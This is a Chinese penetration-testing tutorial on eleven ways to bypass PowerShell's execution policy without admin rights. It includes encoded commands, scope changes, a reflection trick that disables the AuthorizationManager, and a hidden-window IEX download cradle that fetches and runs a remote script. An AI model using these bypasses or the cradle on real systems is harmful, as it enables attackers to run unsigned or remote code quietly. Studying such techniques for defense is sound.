渗透技巧 | Bypass Powershell执行策略的N种方式

2021-11-02 10:39:42 浏览数 (1)

何为powershell执行策略

PowerShell 是一个跨平台的任务自动化解决方案,由命令行 shell、脚本语言和配置管理框架组成。PowerShell 在 Windows、Linux 和 macOS 上运行。

由于powershell有以下性质,往往受到管理员或者安全人员的青睐。

1.是Windows原生的2.可以调用Windows API3.无文件执行命令4.可以逃避Anti-Virus的检测(这个其实现在还比较敏感了)5.被大多数程序加入白名单中,标记为可信的6.有许多开源的渗透工具集

windows为powershell设计了一个名为Execution Policy,即执行策略的东西来决定哪些类型的PowerShell脚本可以在系统中运行。PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略。在默认情况下,它是“Restricted”(限制)的,即任何脚本都不行。但其实它并非是为了是为了防止一些恶意脚本的执行,而是帮助用户设置基本规则并阻止他们无意中违反规则。

Restricted

•Windows 客户端计算机的默认执行策略。

•允许运行单个命令,但不允许运行脚本。•阻止运行所有脚本文件,包括格式化和配置文件 ( .ps1xml)、模块脚本文件 ( .psm1) 和 PowerShell 配置文件 ( .ps1)。

AllSigned

•脚本可以运行。•要求所有脚本和配置文件都由受信任的发布者签名,包括在本地计算机上编写的脚本。•在运行来自你尚未归类为受信任或不受信任的发布者的脚本之前提示你

RemoteSigned

•Windows 服务器计算机的默认执行策略。

•脚本可以运行。•需要可信发布者对从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)进行数字签名。•不要求在本地计算机上编写的脚本(不是从 Internet 下载的)具有数字签名。•运行从 Internet 下载且未签名的脚本(如果脚本未阻止,例如使用Unblock-Filecmdlet)。•有运行来自互联网以外来源的未签名脚本和可能是恶意的签名脚本的风险。

Unrestricted

•未签名的脚本可以运行。存在运行恶意脚本的风险。•在运行不是来自本地 Intranet 区域的脚本和配置文件之前警告用户。

Bypass

•没有任何内容被阻止,也没有警告或提示。•此执行策略设计用于将 PowerShell 脚本内置到更大应用程序中的配置,或用于将 PowerShell 作为具有自己的安全模型的程序的基础的配置。

Undefined

•当前作用域中未设置执行策略。•如果所有作用域中的执行策略都是Undefined,则有效执行策略是Restricted

使用命令来查看当前执行策略。

代码语言:javascript复制
Get-ExecutionPolicy

获取影响当前会话的所有执行策略

代码语言:javascript复制
Get-ExecutionPolicy -List

这些策略中的每一个都可以应用于不同的范围来控制受它们影响的人,范围是:

MachinePolicy:由组策略为所有用户设置的执行策略。•UserPolicy:由组策略为当前用户设置的执行策略。•Process:为当前 Windows PowerShell 进程设置的执行策略。•CurrentUser:为当前用户设置的执行策略。•LocalMachine:为所有用户设置的执行策略。

同样可以修改执行策略,使用命令Set-ExecutionPolicy。微软对他的一句话说明为:为 Windows 计算机设置 PowerShell 执行策略。

但修改策略需要至少管理员身份

本文就如何无需拥有管理员权限,绕过默认Restricted(限制)执行策略设置进行浅谈。

环境准备

操作系统:win10专业版,版本号20H2

写一个最简单的脚本:Write-Host "this is a test".

当直接运行该脚本在Restricted(限制)执行策略的机器上时,会出现“此系统禁止运行脚本”的错误。

0x01 直接粘贴脚本到powershell交互窗口

由于允许运行单个命令,但不允许运行脚本,所以便可以将将脚本代码粘贴到powershell交互窗口,这是最直接的。

0x02 -Command命令参数

这个方法和上面的方法很像,但是此方法不需要一个交互式的窗口。它适用于简单脚本的执行,但是脚本复杂一点是执行不了的。

代码语言:javascript复制
powershell -command Write-Host "this is a test"

0x03 管道传输

从一个文件中读取脚本,然后通过管道传输到PowerShell的标准输入中

通过echo脚本到powershell的标准输入:

代码语言:javascript复制
Echo Write-Host "this is a test" | PowerShell.exe -noprofile -

相同性质的还有通过windows的type命令,唯一的区别是可以直接type一个文件,其实本质差不多。

代码语言:javascript复制
type xxx.ps1 | PowerShell.exe -noprofile -

powershell的Get-Content命令从磁盘读取你的脚本并输入到标准的PowerShell中。

0x04 使用Invoke-Command或Invoke-Expression命令

Invoke-Command

通过交互式PowerShell控制台执行。

此外,这个命令还有一个比较夸张的功能:可以抓取远程主机的策略并应用到当前主机。

这里测试了一下工作组。

代码语言:javascript复制
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

但是这里没有成功,用wireshark抓了下流量发现并没有,也不是SMB协议。如果有执行成功的师傅可以说一下。

Invoke-Expression

同样是可以通过交互式控制台的方式。

代码语言:javascript复制
Get-Content xxx.ps1 | Invoke-ExpressionGet-Content xxx.ps1 | iex

上面两个命令效果都是一样的,只不过iex为Invoke-Expression的简化写的版本。

0x05 使用"Bypass"标记Execution Policy

代码语言:javascript复制
powershell.exe -ExecutionPolicy Bypass -File xxx.ps1

这里其他几个执行策略除了RemoteSigned都是可以了,就不一一去写了。

0x06 使用-EncodeCommand参数

通过Unicode / Base64编码串这种方式加密脚本,可以绕过所有通过"Command"参数执行时会遇到的错误,算是一个Command的加强版。

代码语言:javascript复制
$command = "Write-Host 'this is a test'"$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand = [Convert]::ToBase64String($bytes)$encodedCommandpowershell.exe -EncodedCommand $encodedCommand

可以先在本地输出对应的编码,在目标机器上可以直接使用

代码语言:javascript复制
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACcAdABoAGkAcwAgAGkAcwAgAGEAIAB0AGUAcwB0ACcA

0x07 URL Download

cs用的比较多的应该知道,cs的powershell无文件执行就是用的这种方式。这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘。它也不会导致任何配置更改。

代码语言:javascript复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.59.128:8066/a'))"

同样不受执行策略的影响,它实际上就是去192.168.59.128的8066端口下下载一个脚本并去执行。

0x08 注册表修改

经过本人测试,路径为:

代码语言:javascript复制
计算机HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

这个键值对可能一开始没有,就自行添加。

当我尝试普通权限命令行修改注册表却失败了。

代码语言:javascript复制
reg add HKLMSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass

这里我还网上看到一个路径,但是在win10机器上并没有。

代码语言:javascript复制
HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

由于是HKCU开头的,应该普通权限是可以的,估计在老点的操作系统上可以实现,或者说自行添加一个键值对,这里我就没有去尝试了,不过通过查看所有执行策略可以看到修改的就是LocalMachine的执行策略,自行添加HKCU下的键值对应该是可行的。

0x09 使用“Remote-Signed”标记Execution Policy

大概意思是生成自签名证书,对脚本经行数字签名,这样可以通过Remote-Signed进行标记运行。

这个感觉就有点鸡肋了,通过makecert等类似的工具去生成自签名证书并签名,过程比较复杂,参考https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

直接使用Remote-Signed标记是无法运行的,那为什么不直接标记成Bypass呢(狗头)

代码语言:javascript复制
PowerShell.exe -ExecutionPolicy Remote-signed -File xxx.ps1

0x0A 基于层次bypass

通过命令Get-ExecutionPolicy -list可以看到是有几个范围的,这个在文章开头也已经说明了各自的作用范围,不需要修改所有的策略作用范围即可bypass。

把ExcutionPolicy设置成Process Scope,无需管理员权限。可以看到直接能够执行脚本。

代码语言:javascript复制
Set-ExecutionPolicy Bypass -Scope Process

类似的还可以修改CurrentUser,同样不需要管理员权限。

代码语言:javascript复制
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

0x0B 交换AuthorizationManager禁用ExecutionPolicy

当函数被调用"AuthorizationManager"就会被替换成空,然后禁用ExecutionPolicy。可以看到执行策略即便还是Restricted,但是已经可以执行脚本。它的变化将被应用于会话的持续时间。

代码语言:javascript复制
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}Disable-ExecutionPolicy

0 人点赞